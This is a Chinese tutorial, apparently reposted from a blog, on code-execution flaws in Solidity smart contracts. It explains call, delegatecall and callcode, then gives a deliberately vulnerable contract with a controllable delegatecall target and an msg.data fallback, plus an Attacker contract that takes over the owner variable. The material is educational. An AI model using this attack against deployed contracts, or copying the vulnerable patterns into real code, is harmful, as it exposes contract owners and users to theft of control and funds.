Solidity 代码执行漏洞原理

目录

1. 三种 call 方式

2. 两种 call 参数类型

3. 漏洞场景

3.1 delegatecall

3.2 call


1. 三种 call 方式

Solidity 中一个合约调用其他合约的函数有三种方式:

<address>.call(...) returns (bool)
<address>.callcode(...) returns (bool)
<address>.delegatecall(...) returns (bool)

1)call()

call 是最常用的调用方式,call 的外部调用上下文是被调用者合约,也就是指执行环境为被调用者的运行环境,调用后内置变量 msg 的值会修改为调用者。

2)delegatecall()

delegatecall 的外部调用上下文是调用者合约,也就是指执行环境为调用者的运行环境,调用后内置变量 msg 的值不会修改为调用者。

3)callcode()

callcode 的外部调用上下文是调用者合约,也就是指执行环境为调用者的运行环境,调用后内置变量 msg 的值会修改为调用者

2. 两种 call 参数类型

传入 call 函数的参数有两种类型:

1)函数签名

函数签名 = 函数名 + (参数类型列表),uint 和 int 要写为 uint256 和 int256

func(uint arg1, int arg2)  ==>  func(uint256,int256)

 调用方式:

<addr>.call(bytes)
addr.call(abi.encodeWithSignature("func(uint256)", arg1));
addr.call(msg.data);

msg.data

msg.data 是 solidity 中的一个全局变量,值为完整的 calldata(调用函数时传入的数据),前4个字节就是函数选择器,后面参数的每个值会转换为固定长度为 32bytes 的十六进制字符串。如果有多个参数,则串联在一起。

如图,three_call 的参数值,和 msg.data 的值是一样的

2)函数选择器

函数选择器:函数签名的 Keccak 哈希后的前 4个字节,后边跟参数

<addr>.call(bytes4 selector)
addr.call(bytes4(keccak-256("func(uint)")),arg1);
addr.call(abi.encodeWithSelector(0x6a627842, "0x2c44b726ADF1963cA47Af88B284C06f30380fC78"))

3. 漏洞场景

前置知识:EVM 的 storage

单个合约中状态变量存储在 storage 中,会按声明顺序存入卡槽 slot

contract A{
    address owner;
    B addrB;
}

3.1 delegatecall

delegatecall 的变化

当合约 A 和 合约 C 都有状态变量,delegatecall 调用的函数如果修改了合约 C 第一状态变量的值,那么实际修改的是合约 A 中第一个状态变量的值,也就是合约 A 的 slot 0 中的状态变量 owner

漏洞场景:

  • delegatecall 地址可控,可以修改调用者合约状态变量
  • delegatecall 参数可控,可以执行被调用合约的敏感函数,如:使用了 msg.data 作为 delegatecall 参数
pragma solidity ^0.4.23;
// 合约 A
contract A{
    address owner;
    B addrB;
    
    constructor() {
       owner = msg.sender; 
    }
    
    function changeOwner(address _newOwner) public {
       require(msg.sender == owner); 
       owner = _newOwner;    
    }
    
    function setB(B addr) public {
        addrB = addr;
    }
    
    // vuln1:delegatecall 地址可控
    function vuln1(address _contract) public {
        _contract.delegatecall(abi.encodeWithSignature("func()"));
    }
    
    // vuln2:delegatecall 参数可控
    function() public{
        addrB.delegatecall(msg.data);
    }
}

// 合约 B
contract B {
    address public owner;

    function init() public  {
        owner = msg.sender;
    }
}

攻击合约

pragma solidity ^0.4.23;
import "./A.sol";

contract Attacker{
    address public owner;

    // 攻击 vuln1
    function func() public {
       // 修改合约 A 状态变量 owner
       owner = msg.sender;    
    }

    function attack_vuln2(address addrA) public {
       // 调用合约 A 中不存在的函数 init,进而执行 fallback 函数,
       // 而此时 msg.data 的前4个字节就是 init 函数选择器,
       // 进而执行了合约 B 的 init 函数
       // A(addrA).init();    
       addrA.call(abi.encodeWithSignature("init()"));
    }
}

3.2 call

使用 call 调用别的合约的函数时,执行环境是被调用的合约执行环境,改变的也是被调用合约的状态变量。在合约内部实例化别的合约,也是相当于是 call 调用。

call 的漏洞场景和 delegatecall 差不多:

  • call 地址可控:执行任意地址合约的的同名函数
  • call 参数可控:执行该地址的合约的任意函数
    • 调用函数签名可控
    • 调用函数的参数可控

EVM 的一个特性:EVM 在获取参数的时候没有参数个数校验的过程,从前往后取值,取够参数个数后就把后面的多余参数截断了,在编译和运行阶段都不会报错。

如下:后面的参数 4 和 5 会被截断

addr.call(bytes4(keccak256("test(uint256,uint256,uint256)")),1,2,3,4,5)

猜你喜欢

转载自blog.csdn.net/SHELLCODE_8BIT/article/details/134993896